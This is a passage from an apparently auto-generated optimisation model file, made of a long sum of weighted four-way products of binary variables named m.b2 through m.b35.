*m.b20*m.b24 + 320*m.b6*m.b10*m.b21*m.b25 + 320*m.b6*m.b10*m.b22*m.b26 + 320*m.b6*m.b10*m.b23*
m.b27 + 320*m.b6*m.b10*m.b24*m.b28 + 320*m.b6*m.b10*m.b25*m.b29 + 320*m.b6*m.b10*m.b26*m.b30 +
320*m.b6*m.b10*m.b27*m.b31 + 320*m.b6*m.b10*m.b28*m.b32 + 256*m.b6*m.b10*m.b29*m.b33 + 192*m.b6*
m.b10*m.b30*m.b34 + 128*m.b6*m.b10*m.b31*m.b35 + 64*m.b6*m.b10*m.b32*m.b2 + 64*m.b6*m.b11*m.b12*
m.b17 + 64*m.b6*m.b11*m.b13*m.b18 + 64*m.b6*m.b11*m.b14*m.b19 + 320*m.b6*m.b11*m.b15*m.b20 + 320*
m.b6*m.b11*m.b16*m.b21 + 320*m.b6*m.b11*m.b17*m.b22 + 320*m.b6*m.b11*m.b18*m.b23 + 320*m.b6*m.b11
*m.b19*m.b24 + 320*m.b6*m.b11*m.b20*m.b25 + 320*m.b6*m.b11*m.b21*m.b26 + 320*m.b6*m.b11*m.b22*
m.b27 + 320*m.b6*m.b11*m.b23*m.b28 + 320*m.b6*m.b11*m.b24*m.b29 + 320*m.b6*m.b11*m.b25*m.b30 +
320*m.b6*m.b11*m.b26*m.b31 + 320*m.b6*m.b11*m.b27*m.b32 + 256*m.b6*m.b11*m.b28*m.b33 + 192*m.b6*
m.b11*m.b29*m.b34 + 128*m.b6*m.b11*m.b30*m.b35 + 64*m.b6*m.b11*m.b31*m.b2 + 64*m.b6*m.b12*m.b13*
m.b19 + 320*m.b6*m.b12*m.b14*m.b20 + 320*m.b6*m.b12*m.b15*m.b21 + 320*m.b6*m.b12*m.b16*m.b22 +
320*m.b6*m.b12*m.b17*m.b23 + 320*m.b6*m.b12*m.b18*m.b24 + 320*m.b6*m.b12*m.b19*m.b25 + 320*m.b6*
m.b12*m.b20*m.b26 + 320*m.b6*m.b12*m.b21*m.b27 + 320*m.b6*m.b12*m.b22*m.b28 + 320*m.b6*m.b12*
m.b23*m.b29 + 320*m.b6*m.b12*m.b24*m.b30 + 320*m.b6*m.b12*m.b25*m.b31 + 320*m.b6*m.b12*m.b26*
m.b32 + 256*m.b6*m.b12*m.b27*m.b33 + 192*m.b6*m.b12*m.b28*m.b34 + 128*m.b6*m.b12*m.b29*m.b35 + 64
*m.b6*m.b12*m.b30*m.b2 + 320*m.b6*m.b13*m.b14*m.b21 + 320*m.b6*m.b13*m.b15*m.b22 + 320*m.b6*m.b13
*m.b16*m.b23 + 320*m.b6*m.b13*m.b17*m.b24 + 320*m.b6*m.b13*m.b18*m.b25 + 320*m.b6*m.b13*m.b19*
m.b26 + 320*m.b6*m.b13*m.b20*m.b27 + 320*m.b6*m.b13*m.b21*m.b28 + 320*m.b6*m.b13*m.b22*m.b29 +
320*m.b6*m.b13*m.b23*m.b30 + 320*m.b6*m.b13*m.b24*m.b31 + 320*m.b6*m.b13*m.b25*m.b32 + 256*m.b6*
m.b13*m.b26*m.b33 + 192*m.b6*m.b13*m.b27*m.b34 + 128*m.b6*m.b13*m.b28*m.b35 + 64*m.b6*m.b13*m.b29
*m.b2 + 320*m.b6*m.b14*m.b15*m.b23 + 320*m.b6*m.b14*m.b16*m.b24 + 320*m.b6*m.b14*m.b17*m.b25 +
320*m.b6*m.b14*m.b18*m.b26 + 320*m.b6*m.b14*m.b19*m.b27 + 320*m.b6*m.b14*m.b20*m.b28 + 320*m.b6*
m.b14*m.b21*m.b29 + 320*m.b6*m.b14*m.b22*m.b30 + 320*m.b6*m.b14*m.b23*m.b31 + 320*m.b6*m.b14*
m.b24*m.b32 + 256*m.b6*m.b14*m.b25*m.b33 + 192*m.b6*m.b14*m.b26*m.b34 + 128*m.b6*m.b14*m.b27*
m.b35 + 64*m.b6*m.b14*m.b28*m.b2 + 320*m.b6*m.b15*m.b16*m.b25 + 320*m.b6*m.b15*m.b17*m.b26 + 320*
m.b6*m.b15*m.b18*m.b27 + 320*m.b6*m.b15*m.b19*m.b28 + 320*m.b6*m.b15*m.b20*m.b29 + 320*m.b6*m.b15
*m.b21*m.b30 + 320*m.b6*m.b15*m.b22*m.b31 + 320*m.b6*m.b15*m.b23*m.b32 + 256*m.b6*m.b15*m.b24*
m.b33 + 192*m.b6*m.b15*m.b25*m.b34 + 128*m.b6*m.b15*m.b26*m.b35 + 64*m.b6*m.b15*m.b27*m.b2 + 320*
m.b6*m.b16*m.b17*m.b27 + 320*m.b6*m.b16*m.b18*m.b28 + 320*m.b6*m.b16*m.b19*m.b29 + 320*m.b6*m.b16
*m.b20*m.b30 + 320*m.b6*m.b16*m.b21*m.b31 + 320*m.b6*m.b16*m.b22*m.b32 + 256*m.b6*m.b16*m.b23*
m.b33 + 192*m.b6*m.b16*m.b24*m.b34 + 128*m.b6*m.b16*m.b25*m.b35 + 64*m.b6*m.b16*m.b26*m.b2 + 320*
m.b6*m.b17*m.b18*m.b29 + 320*m.b6*m.b17*m.b19*m.b30 + 320*m.b6*m.b17*m.b20*m.b31 + 320*m.b6*m.b17
*m.b21*m.b32 + 256*m.b6*m.b17*m.b22*m.b33 + 192*m.b6*m.b17*m.b23*m.b34 + 128*m.b6*m.b17*m.b24*
m.b35 + 64*m.b6*m.b17*m.b25*m.b2 + 320*m.b6*m.b18*m.b19*m.b31 + 320*m.b6*m.b18*m.b20*m.b32 + 256*
m.b6*m.b18*m.b21*m.b33 + 192*m.b6*m.b18*m.b22*m.b34 + 128*m.b6*m.b18*m.b23*m.b35 + 64*m.b6*m.b18*
m.b24*m.b2 + 256*m.b6*m.b19*m.b20*m.b33 + 192*m.b6*m.b19*m.b21*m.b34 + 128*m.b6*m.b19*m.b22*m.b35
+ 64*m.b6*m.b19*m.b23*m.b2 + 128*m.b6*m.b20*m.b21*m.b35 + 64*m.b6*m.b20*m.b22*m.b2 + 64*m.b7*
m.b8*m.b9*m.b10 + 64*m.b7*m.b8*m.b10*m.b11 + 64*m.b7*m.b8*m.b11*m.b12 + 64*m.b7*m.b8*m.b12*m.b13
+ 64*m.b7*m.b8*m.b13*m.b14 + 64*m.b7*m.b8*m.b14*m.b15 + 64*m.b7*m.b8*m.b15*m.b16 + 64*m.b7*m.b8*
m.b16*m.b17 + 64*m.b7*m.b8*m.b17*m.b18 + 64*m.b7*m.b8*m.b18*m.b19 + 64*m.b7*m.b8*m.b19*m.b20 +
384*m.b7*m.b8*m.b20*m.b21 + 384*m.b7*m.b8*m.b21*m.b22 + 384*m.b7*m.b8*m.b22*m.b23 + 384*m.b7*m.b8
*m.b23*m.b24 + 384*m.b7*m.b8*m.b24*m.b25 + 384*m.b7*m.b8*m.b25*m.b26 + 384*m.b7*m.b8*m.b26*m.b27
+ 384*m.b7*m.b8*m.b27*m.b28 + 384*m.b7*m.b8*m.b28*m.b29 + 384*m.b7*m.b8*m.b29*m.b30 + 384*m.b7*
m.b8*m.b30*m.b31 + 320*m.b7*m.b8*m.b31*m.b32 + 256*m.b7*m.b8*m.b32*m.b33 + 192*m.b7*m.b8*m.b33*
m.b34 + 128*m.b7*m.b8*m.b34*m.b35 + 64*m.b7*m.b8*m.b35*m.b2 + 64*m.b7*m.b9*m.b10*m.b12 + 64*m.b7*
m.b9*m.b11*m.b13 + 64*m.b7*m.b9*m.b12*m.b14 + 64*m.b7*m.b9*m.b13*m.b15 + 64*m.b7*m.b9*m.b14*m.b16
+ 64*m.b7*m.b9*m.b15*m.b17 + 64*m.b7*m.b9*m.b16*m.b18 + 64*m.b7*m.b9*m.b17*m.b19 + 64*m.b7*m.b9*
m.b18*m.b20 + 384*m.b7*m.b9*m.b19*m.b21 + 384*m.b7*m.b9*m.b20*m.b22 + 384*m.b7*m.b9*m.b21*m.b23
+ 384*m.b7*m.b9*m.b22*m.b24 + 384*m.b7*m.b9*m.b23*m.b25 + 384*m.b7*m.b9*m.b24*m.b26 + 384*m.b7*
m.b9*m.b25*m.b27 + 384*m.b7*m.b9*m.b26*m.b28 + 384*m.b7*m.b9*m.b27*m.b29 + 384*m.b7*m.b9*m.b28*
m.b30 + 384*m.b7*m.b9*m.b29*m.b31 + 320*m.b7*m.b9*m.b30*m.b32 + 256*m.b7*m.b9*m.b31*m.b33 + 192*
m.b7*m.b9*m.b32*m.b34 + 128*m.b7*m.b9*m.b33*m.b35 + 64*m.b7*m.b9*m.b34*m.b2 + 64*m.b7*m.b10*m.b11
*m.b14 + 64*m.b7*m.b10*m.b12*m.b15 + 64*m.b7*m.b10*m.b13*m.b16 + 64*m.b7*m.b10*m.b14*m.b17 + 64*
m.b7*m.b10*m.b15*m.b18 + 64*m.b7*m.b10*m.b16*m.b19 + 64*m.b7*m.b10*m.b17*m.b20 + 384*m.b7*m.b10*
m.b18*m.b21 + 384*m.b7*m.b10*m.b19*m.b22 + 384*m.b7*m.b10*m.b20*m.b23 + 384*m.b7*m.b10*m.b21*
m.b24 + 384*m.b7*m.b10*m.b22*m.b25 + 384*m.b7*m.b10*m.b23*m.b26 + 384*m.b7*m.b10*m.b24*m.b27 +
384*m.b7*m.b10*m.b25*m.b28 + 384*m.b7*m.b10*m.b26*m.b29 + 384*m.b7*m.b10*m.b27*m.b30 + 384*m.b7*
m.b10*m.b28*m.b31 + 320*m.b7*m.b10*m.b29*m.b32 + 256*m.b7*m.b10*m.b30*m.b33 + 192*m.b7*m.b10*
m.b31*m.b34 + 128*m.b7*m.b10*m.b32*m.b35 + 64*m.b7*m.b10*m.b33*m.b2 + 64*m.b7*m.b11*m.b12*m.b16
+ 64*m.b7*m.b11*m.b13*m.b17 + 64*m.b7*m.b11*m.b14*m.b18 + 64*m.b7*m.b11*m.b15*m.b19 + 64*m.b7*
m.b11*m.b16*m.b20 + 384*m.b7*m.b11*m.b17*m.b21 + 384*m.b7*m.b11*m.b18*m.b22 + 384*m.b7*m.b11*
m.b19*m.b23 + 384*m.b7*m.b11*m.b20*m.b24 + 384*m.b7*m.b11*m.b21*m.b25 + 384*m.b7*m.b11*m.b22*
m.b26 + 384*m.b7*m.b11*m.b23*m.b27 + 384*m.b7*m.b11*m.b24*m.b28 + 384*m.b7*m.b11*m.b25*m.b29 +
384*m.b7*m.b11*m.b26*m.b30 + 384*m.b7*m.b11*m.b27*m.b31 + 320*m.b7*m.b11*m.b28*m.b32 + 256*m.b7*
m.b11*m.b29*m.b33 + 192*m.b7*m.b11*m.b30*m.b34 + 128*m.b7*m.b11*m.b31*m.b35 + 64*m.b7*m.b11*m.b32
*m.b2 + 64*m.b7*m.b12*m.b13*m.b18 + 64*m.b7*m.b12*m.b14*m.b19 + 64*m.b7*m.b12*m.b15*m.b20 + 384*
m.b7*m.b12*m.b16*m.b21 + 384*m.b7*m.b12*m.b17*m.b22 + 384*m.b7*m.b12*m.b18*m.b23 + 384*m.b7*m.b12
*m.b19*m.b24 + 384*m.b7*m.b12*m.b20*m.b25 + 384*m.b7*m.b12*m.b21*m.b26 + 384*m.b7*m.b12*m.b22*
m.b27 + 384*m.b7*m.b12*m.b23*m.b28 + 384*m.b7*m.b12*m.b24*m.b29 + 384*m.b7*m.b12*m.b25*m.b30 +
384*m.b7*m.b12*m.b26*m.b31 + 320*m.b7*m.b12*m.b27*m.b32 + 256*m.b7*m.b12*m.b28*m.b33 + 192*m.b7*
m.b12*m.b29*m.b34 + 128*m.b7*m.b12*m.b30*m.b35 + 64*m.b7*m.b12*m.b31*m.b2 + 64*m.b7*m.b13*m.b14*
m.b20 + 384*m.b7*m.b13*m.b15*m.b21 + 384*m.b7*m.b13*m.b16*m.b22 + 384*m.b7*m.b13*m.b17*m.b23 +
384*m.b7*m.b13*m.b18*m.b24 + 384*m.b7*m.b13*m.b19*m.b25 + 384*m.b7*m.b13*m.b20*m.b26 + 384*m.b7*
m.b13*m.b21*m.b27 + 384*m.b7*m.b13*m.b22*m.b28 + 384*m.b7*m.b13*m.b23*m.b29 + 384*m.b7*m.b13*
m.b24*m.b30 + 384*m.b7*m.b13*m.b25*m.b31 + 320*m.b7*m.b13*m.b26*m.b32 + 256*m.b7*m.b13*m.b27*
m.b33 + 192*m.b7*m.b13*m.b28*m.b34 + 128*m.b7*m.b13*m.b29*m.b35 + 64*m.b7*m.b13*m.b30*m.b2 + 384*
m.b7*m.b14*m.b15*m.b22 + 384*m.b7*m.b14*m.b16*m.b23 + 384*m.b7*m.b14*m.b17*m.b24 + 384*m.b7*m.b14
*m.b18*m.b25 + 384*m.b7*m.b14*m.b19*m.b26 + 384*m.b7*m.b14*m.b20*m.b27 + 384*m.b7*m.b14*m.b21*
m.b28 + 384*m.b7*m.b14*m.b22*m.b29 + 384*m.b7*m.b14*m.b23*m.b30 + 384*m.b7*m.b14*m.b24*m.b31 +
320*m.b7*m.b14*m.b25*m.b32 + 256*m.b7*m.b14*m.b26*m.b33 + 192*m.b7*m.b14*m.b27*m.b34 + 128*m.b7*
m.b14*m.b28*m.b35 + 64*m.b7*m.b14*m.b29*m.b2 + 384*m.b7*m.b15*m.b16*m.b24 + 384*m.b7*m.b15*m.b17*
m.b25 + 384*m.b7*m.b15*m.b18*m.b26 + 384*m.b7*m.b15*m.b19*m.b27 + 384*m.b7*m.b15*m.b20*m.b28 +
384*m.b7*m.b15*m.b21*m.b29 + 384*m.b7*m.b15*m.b22*m.b30 + 384*m.b7*m.b15*m.b23*m.b31 + 320*m.b7*
m.b15*m.b24*m.b32 + 256*m.b7*m.b15*m.b25*m.b33 + 192*m.b7*m.b15*m.b26*m.b34 + 128*m.b7*m.b15*
m.b27*m.b35 + 64*m.b7*m.b15*m.b28*m.b2 + 384*m.b7*m.b16*m.b17*m.b26 + 384*m.b7*m.b16*m.b18*m.b27
+ 384*m.b7*m.b16*m.b19*m.b28 + 384*m.b7*m.b16*m.b20*m.b29 + 384*m.b7*m.b16*m.b21*m.b30 + 384*
m.b7*m.b16*m.b22*m.b31 + 320*m.b7*m.b16*m.b23*m.b32 + 256*m.b7*m.b16*m.b24*m.b33 + 192*m.b7*m.b16
*m.b25*m.b34 + 128*m.b7*m.b16*m.b26*m.b35 + 64*m.b7*m.b16*m.b27*m.b2 + 384*m.b7*m.b17*m.b18*m.b28
+ 384*m.b7*m.b17*m.b19*m.b29 + 384*m.b7*m.b17*m.b20*m.b30 + 384*m.b7*m.b17*m.b21*m.b31 + 320*
m.b7*m.b17*m.b22*m.b32 + 256*m.b7*m.b17*m.b23*m.b33 + 192*m.b7*m.b17*m.b24*m.b34 + 128*m.b7*m.b17
*m.b25*m.b35 + 64*m.b7*m.b17*m.b26*m.b2 + 384*m.b7*m.b18*m.b19*m.b30 + 384*m.b7*m.b18*m.b20*m.b31
+ 320*m.b7*m.b18*m.b21*m.b32 + 256*m.b7*m.b18*m.b22*m.b33 + 192*m.b7*m.b18*m.b23*m.b34 + 128*
m.b7*m.b18*m.b24*m.b35 + 64*m.b7*m.b18*m.b25*m.b2 + 320*m.b7*m.b19*m.b20*m.b32 + 256*m.b7*m.b19*
m.b21*m.b33 + 192*m.b7*m.b19*m.b22*m.b34 + 128*m.b7*m.b19*m.b23*m.b35 + 64*m.b7*m.b19*m.b24*m.b2
+ 192*m.b7*m.b20*m.b21*m.b34 + 128*m.b7*m.b20*m.b22*m.b35 + 64*m.b7*m.b20*m.b23*m.b2 + 64*m.b7*
m.b21*m.b22*m.b2 + 64*m.b8*m.b9*m.b10*m.b11 + 64*m.b8*m.b9*m.b11*m.b12 + 64*m.b8*m.b9*m.b12*m.b13
+ 64*m.b8*m.b9*m.b13*m.b14 + 64*m.b8*m.b9*m.b14*m.b15 + 64*m.b8*m.b9*m.b15*m.b16 + 64*m.b8*m.b9*
m.b16*m.b17 + 64*m.b8*m.b9*m.b17*m.b18 + 64*m.b8*m.b9*m.b18*m.b19 + 64*m.b8*m.b9*m.b19*m.b20 + 64
*m.b8*m.b9*m.b20*m.b21 + 448*m.b8*m.b9*m.b21*m.b22 + 448*m.b8*m.b9*m.b22*m.b23 + 448*m.b8*m.b9*
m.b23*m.b24 + 448*m.b8*m.b9*m.b24*m.b25 + 448*m.b8*m.b9*m.b25*m.b26 + 448*m.b8*m.b9*m.b26*m.b27
+ 448*m.b8*m.b9*m.b27*m.b28 + 448*m.b8*m.b9*m.b28*m.b29 + 448*m.b8*m.b9*m.b29*m.b30 + 384*m.b8*
m.b9*m.b30*m.b31 + 320*m.b8*m.b9*m.b31*m.b32 + 256*m.b8*m.b9*m.b32*m.b33 + 192*m.b8*m.b9*m.b33*
m.b34 + 128*m.b8*m.b9*m.b34*m.b35 + 64*m.b8*m.b9*m.b35*m.b2 + 64*m.b8*m.b10*m.b11*m.b13 + 64*m.b8
*m.b10*m.b12*m.b14 + 64*m.b8*m.b10*m.b13*m.b15 + 64*m.b8*m.b10*m.b14*m.b16 + 64*m.b8*m.b10*m.b15*
m.b17 + 64*m.b8*m.b10*m.b16*m.b18 + 64*m.b8*m.b10*m.b17*m.b19 + 64*m.b8*m.b10*m.b18*m.b20 + 64*
m.b8*m.b10*m.b19*m.b21 + 448*m.b8*m.b10*m.b20*m.b22 + 448*m.b8*m.b10*m.b21*m.b23 + 448*m.b8*m.b10
*m.b22*m.b24 + 448*m.b8*m.b10*m.b23*m.b25 + 448*m.b8*m.b10*m.b24*m.b26 + 448*m.b8*m.b10*m.b25*
m.b27 + 448*m.b8*m.b10*m.b26*m.b28 + 448*m.b8*m.b10*m.b27*m.b29 + 448*m.b8*m.b10*m.b28*m.b30 +
384*m.b8*m.b10*m.b29*m.b31 + 320*m.b8*m.b10*m.b30*m.b32 + 256*m.b8*m.b10*m.b31*m.b33 + 192*m.b8*
m.b10*m.b32*m.b34 + 128*m.b8*m.b10*m.b33*m.b35 + 64*m.b8*m.b10*m.b34*m.b2 + 64*m.b8*m.b11*m.b12*
m.b15 + 64*m.b8*m.b11*m.b13*m.b16 + 64*m.b8*m.b11*m.b14*m.b17 + 64*m.b8*m.b11*m.b15*m.b18 + 64*
m.b8*m.b11*m.b16*m.b19 + 64*m.b8*m.b11*m.b17*m.b20 + 64*m.b8*m.b11*m.b18*m.b21 + 448*m.b8*m.b11*
m.b19*m.b22 + 448*m.b8*m.b11*m.b20*m.b23 + 448*m.b8*m.b11*m.b21*m.b24 + 448*m.b8*m.b11*m.b22*
m.b25 + 448*m.b8*m.b11*m.b23*m.b26 + 448*m.b8*m.b11*m.b24*m.b27 + 448*m.b8*m.b11*m.b25*m.b28 +
448*m.b8*m.b11*m.b26*m.b29 + 448*m.b8*m.b11*m.b27*m.b30 + 384*m.b8*m.b11*m.b28*m.b31 + 320*m.b8*
m.b11*m.b29*m.b32 + 256*m.b8*m.b11*m.b30*m.b33 + 192*m.b8*m.b11*m.b31*m.b34 + 128*m.b8*m.b11*
m.b32*m.b35 + 64*m.b8*m.b11*m.b33*m.b2 + 64*m.b8*m.b12*m.b13*m.b17 + 64*m.b8*m.b12*m.b14*m.b18 +
64*m.b8*m.b12*m.b15*m.b19 + 64*m.b8*m.b12*m.b16*m.b20 + 64*m.b8*m.b12*m.b17*m.b21 + 448*m.b8*
m.b12*m.b18*m.b22 + 448*m.b8*m.b12*m.b19*m.b23 + 448*m.b8*m.b12*m.b20*m.b24 + 448*m.b8*m.b12*
m.b21*m.b25 + 448*m.b8*m.b12*m.b22*m.b26 + 448*m.b8*m.b12*m.b23*m.b27 + 448*m.b8*m.b12*m.b24*
m.b28 + 448*m.b8*m.b12*m.b25*m.b29 + 448*m.b8*m.b12*m.b26*m.b30 + 384*m.b8*m.b12*m.b27*m.b31 +
320*m.b8*m.b12*m.b28*m.b32 + 256*m.b8*m.b12*m.b29*m.b33 + 192*m.b8*m.b12*m.b30*m.b34 + 128*m.b8*
m.b12*m.b31*m.b35 + 64*m.b8*m.b12*m.b32*m.b2 + 64*m.b8*m.b13*m.b14*m.b19 + 64*m.b8*m.b13*m.b15*
m.b20 + 64*m.b8*m.b13*m.b16*m.b21 + 448*m.b8*m.b13*m.b17*m.b22 + 448*m.b8*m.b13*m.b18*m.b23 + 448
*m.b8*m.b13*m.b19*m.b24 + 448*m.b8*m.b13*m.b20*m.b25 + 448*m.b8*m.b13*m.b21*m.b26 + 448*m.b8*
m.b13*m.b22*m.b27 + 448*m.b8*m.b13*m.b23*m.b28 + 448*m.b8*m.b13*m.b24*m.b29 + 448*m.b8*m.b13*
m.b25*m.b30 + 384*m.b8*m.b13*m.b26*m.b31 + 320*m.b8*m.b13*m.b27*m.b32 + 256*m.b8*m.b13*m.b28*
m.b33 + 192*m.b8*m.b13*m.b29*m.b34 + 128*m.b8*m.b13*m.b30*m.b35 + 64*m.b8*m.b13*m.b31*m.b2 + 64*
m.b8*m.b14*m.b15*m.b21 + 448*m.b8*m.b14*m.b16*m.b22 + 448*m.b8*m.b14*m.b17*m.b23 + 448*m.b8*m.b14
*m.b18*m.b24 + 448*m.b8*m.b14*m.b19*m.b25 + 448*m.b8*m.b14*m.b20*m.b26 + 448*m.b8*m.b14*m.b21*
m.b27 + 448*m.b8*m.b14*m.b22*m.b28 + 448*m.b8*m.b14*m.b23*m.b29 + 448*m.b8*m.b14*m.b24*m.b30 +
384*m.b8*m.b14*m.b25*m.b31 + 320*m.b8*m.b14*m.b26*m.b32 + 256*m.b8*m.b14*m.b27*m.b33 + 192*m.b8*
m.b14*m.b28*m.b34 + 128*m.b8*m.b14*m.b29*m.b35 + 64*m.b8*m.b14*m.b30*m.b2 + 448*m.b8*m.b15*m.b16*
m.b23 + 448*m.b8*m.b15*m.b17*m.b24 + 448*m.b8*m.b15*m.b18*m.b25 + 448*m.b8*m.b15*m.b19*m.b26 +
448*m.b8*m.b15*m.b20*m.b27 + 448*m.b8*m.b15*m.b21*m.b28 + 448*m.b8*m.b15*m.b22*m.b29 + 448*m.b8*
m.b15*m.b23*m.b30 + 384*m.b8*m.b15*m.b24*m.b31 + 320*m.b8*m.b15*m.b25*m.b32 + 256*m.b8*m.b15*
m.b26*m.b33 + 192*m.b8*m.b15*m.b27*m.b34 + 128*m.b8*m.b15*m.b28*m.b35 + 64*m.b8*m.b15*m.b29*m.b2
+ 448*m.b8*m.b16*m.b17*m.b25 + 448*m.b8*m.b16*m.b18*m.b26 + 448*m.b8*m.b16*m.b19*m.b27 + 448*
m.b8*m.b16*m.b20*m.b28 + 448*m.b8*m.b16*m.b21*m.b29 + 448*m.b8*m.b16*m.b22*m.b30 + 384*m.b8*m.b16
*m.b23*m.b31 + 320*m.b8*m.b16*m.b24*m.b32 + 256*m.b8*m.b16*m.b25*m.b33 + 192*m.b8*m.b16*m.b26*
m.b34 + 128*m.b8*m.b16*m.b27*m.b35 + 64*m.b8*m.b16*m.b28*m.b2 + 448*m.b8*m.b17*m.b18*m.b27 + 448*
m.b8*m.b17*m.b19*m.b28 + 448*m.b8*m.b17*m.b20*m.b29 + 448*m.b8*m.b17*m.b21*m.b30 + 384*m.b8*m.b17
*m.b22*m.b31 + 320*m.b8*m.b17*m.b23*m.b32 + 256*m.b8*m.b17*m.b24*m.b33 + 192*m.b8*m.b17*m.b25*
m.b34 + 128*m.b8*m.b17*m.b26*m.b35 + 64*m.b8*m.b17*m.b27*m.b2 + 448*m.b8*m.b18*m.b19*m.b29 + 448*
m.b8*m.b18*m.b20*m.b30 + 384*m.b8*m.b18*m.b21*m.b31 + 320*m.b8*m.b18*m.b22*m.b32 + 256*m.b8*m.b18
*m.b23*m.b33 + 192*m.b8*m.b18*m.b24*m.b34 + 128*m.b8*m.b18*m.b25*m.b35 + 64*m.b8*m.b18*m.b26*m.b2
+ 384*m.b8*m.b19*m.b20*m.b31 + 320*m.b8*m.b19*m.b21*m.b32 + 256*m.b8*m.b19*m.b22*m.b33 + 192*
m.b8*m.b19*m.b23*m.b34 + 128*m.b8*m.b19*m.b24*m.b35 + 64*m.b8*m.b19*m.b25*m.b2 + 256*m.b8*m.b20*
m.b21*m.b33 + 192*m.b8*m.b20*m.b22*m.b34 + 128*m.b8*m.b20*m.b23*m.b35 + 64*m.b8*m.b20*m.b24*m.b2
+ 128*m.b8*m.b21*m.b22*m.b35 + 64*m.b8*m.b21*m.b23*m.b2 + 64*m.b9*m.b10*m.b11*m.b12 + 64*m.b9*
m.b10*m.b12*m.b13 + 64*m.b9*m.b10*m.b13*m.b14 + 64*m.b9*m.b10*m.b14*m.b15 + 64*m.b9*m.b10*m.b15*
m.b16 + 64*m.b9*m.b10*m.b16*m.b17 + 64*m.b9*m.b10*m.b17*m.b18 + 64*m.b9*m.b10*m.b18*m.b19 + 64*
m.b9*m.b10*m.b19*m.b20 + 64*m.b9*m.b10*m.b20*m.b21 + 64*m.b9*m.b10*m.b21*m.b22 + 512*m.b9*m.b10*
m.b22*m.b23 + 512*m.b9*m.b10*m.b23*m.b24 + 512*m.b9*m.b10*m.b24*m.b25 + 512*m.b9*m.b10*m.b25*
m.b26 + 512*m.b9*m.b10*m.b26*m.b27 + 512*m.b9*m.b10*m.b27*m.b28 + 512*m.b9*m.b10*m.b28*m.b29 +
448*m.b9*m.b10*m.b29*m.b30 + 384*m.b9*m.b10*m.b30*m.b31 + 320*m.b9*m.b10*m.b31*m.b32 + 256*m.b9*
m.b10*m.b32*m.b33 + 192*m.b9*m.b10*m.b33*m.b34 + 128*m.b9*m.b10*m.b34*m.b35 + 64*m.b9*m.b10*m.b35
*m.b2 + 64*m.b9*m.b11*m.b12*m.b14 + 64*m.b9*m.b11*m.b13*m.b15 + 64*m.b9*m.b11*m.b14*m.b16 + 64*
m.b9*m.b11*m.b15*m.b17 + 64*m.b9*m.b11*m.b16*m.b18 + 64*m.b9*m.b11*m.b17*m.b19 + 64*m.b9*m.b11*
m.b18*m.b20 + 64*m.b9*m.b11*m.b19*m.b21 + 64*m.b9*m.b11*m.b20*m.b22 + 512*m.b9*m.b11*m.b21*m.b23
+ 512*m.b9*m.b11*m.b22*m.b24 + 512*m.b9*m.b11*m.b23*m.b25 + 512*m.b9*m.b11*m.b24*m.b26 + 512*
m.b9*m.b11*m.b25*m.b27 + 512*m.b9*m.b11*m.b26*m.b28 + 512*m.b9*m.b11*m.b27*m.b29 + 448*m.b9*m.b11
*m.b28*m.b30 + 384*m.b9*m.b11*m.b29*m.b31 + 320*m.b9*m.b11*m.b30*m.b32 + 256*m.b9*m.b11*m.b31*
m.b33 + 192*m.b9*m.b11*m.b32*m.b34 + 128*m.b9*m.b11*m.b33*m.b35 + 64*m.b9*m.b11*m.b34*m.b2 + 64*
m.b9*m.b12*m.b13*m.b16 + 64*m.b9*m.b12*m.b14*m.b17 + 64*m.b9*m.b12*m.b15*m.b18 + 64*m.b9*m.b12*
m.b16*m.b19 + 64*m.b9*m.b12*m.b17*m.b20 + 64*m.b9*m.b12*m.b18*m.b21 + 64*m.b9*m.b12*m.b19*m.b22
+ 512*m.b9*m.b12*m.b20*m.b23 + 512*m.b9*m.b12*m.b21*m.b24 + 512*m.b9*m.b12*m.b22*m.b25 + 512*
m.b9*m.b12*m.b23*m.b26 + 512*m.b9*m.b12*m.b24*m.b27 + 512*m.b9*m.b12*m.b25*m.b28 + 512*m.b9*m.b12
*m.b26*m.b29 + 448*m.b9*m.b12*m.b27*m.b30 + 384*m.b9*m.b12*m.b28*m.b31 + 320*m.b9*m.b12*m.b29*
m.b32 + 256*m.b9*m.b12*m.b30*m.b33 + 192*m.b9*m.b12*m.b31*m.b34 + 128*m.b9*m.b12*m.b32*m.b35 + 64
*m.b9*m.b12*m.b33*m.b2 + 64*m.b9*m.b13*m.b14*m.b18 + 64*m.b9*m.b13*m.b15*m.b19 + 64*m.b9*m.b13*
m.b16*m.b20 + 64*m.b9*m.b13*m.b17*m.b21 + 64*m.b9*m.b13*m.b18*m.b22 + 512*m.b9*m.b13*m.b19*m.b23
+ 512*m.b9*m.b13*m.b20*m.b24 + 512*m.b9*m.b13*m.b21*m.b25 + 512*m.b9*m.b13*m.b22*m.b26 + 512*
m.b9*m.b13*m.b23*m.b27 + 512*m.b9*m.b13*m.b24*m.b28 + 512*m.b9*m.b13*m.b25*m.b29 + 448*m.b9*m.b13
*m.b26*m.b30 + 384*m.b9*m.b13*m.b27*m.b31 + 320*m.b9*m.b13*m.b28*m.b32 + 256*m.b9*m.b13*m.b29*
m.b33 + 192*m.b9*m.b13*m.b30*m.b34 + 128*m.b9*m.b13*m.b31*m.b35 + 64*m.b9*m.b13*m.b32*m.b2 + 64*
m.b9*m.b14*m.b15*m.b20 + 64*m.b9*m.b14*m.b16*m.b21 + 64*m.b9*m.b14*m.b17*m.b22 + 512*m.b9*m.b14*
m.b18*m.b23 + 512*m.b9*m.b14*m.b19*m.b24 + 512*m.b9*m.b14*m.b20*m.b25 + 512*m.b9*m.b14*m.b21*
m.b26 + 512*m.b9*m.b14*m.b22*m.b27 + 512*m.b9*m.b14*m.b23*m.b28 + 512*m.b9*m.b14*m.b24*m.b29 +
448*m.b9*m.b14*m.b25*m.b30 + 384*m.b9*m.b14*m.b26*m.b31 + 320*m.b9*m.b14*m.b27*m.b32 + 256*m.b9*
m.b14*m.b28*m.b33 + 192*m.b9*m.b14*m.b29*m.b34 + 128*m.b9*m.b14*m.b30*m.b35 + 64*m.b9*m.b14*m.b31
*m.b2 + 64*m.b9*m.b15*m.b16*m.b22 + 512*m.b9*m.b15*m.b17*m.b23 + 512*m.b9*m.b15*m.b18*m.b24 + 512
*m.b9*m.b15*m.b19*m.b25 + 512*m.b9*m.b15*m.b20*m.b26 + 512*m.b9*m.b15*m.b21*m.b27 + 512*m.b9*
m.b15*m.b22*m.b28 + 512*m.b9*m.b15*m.b23*m.b29 + 448*m.b9*m.b15*m.b24*m.b30 + 384*m.b9*m.b15*
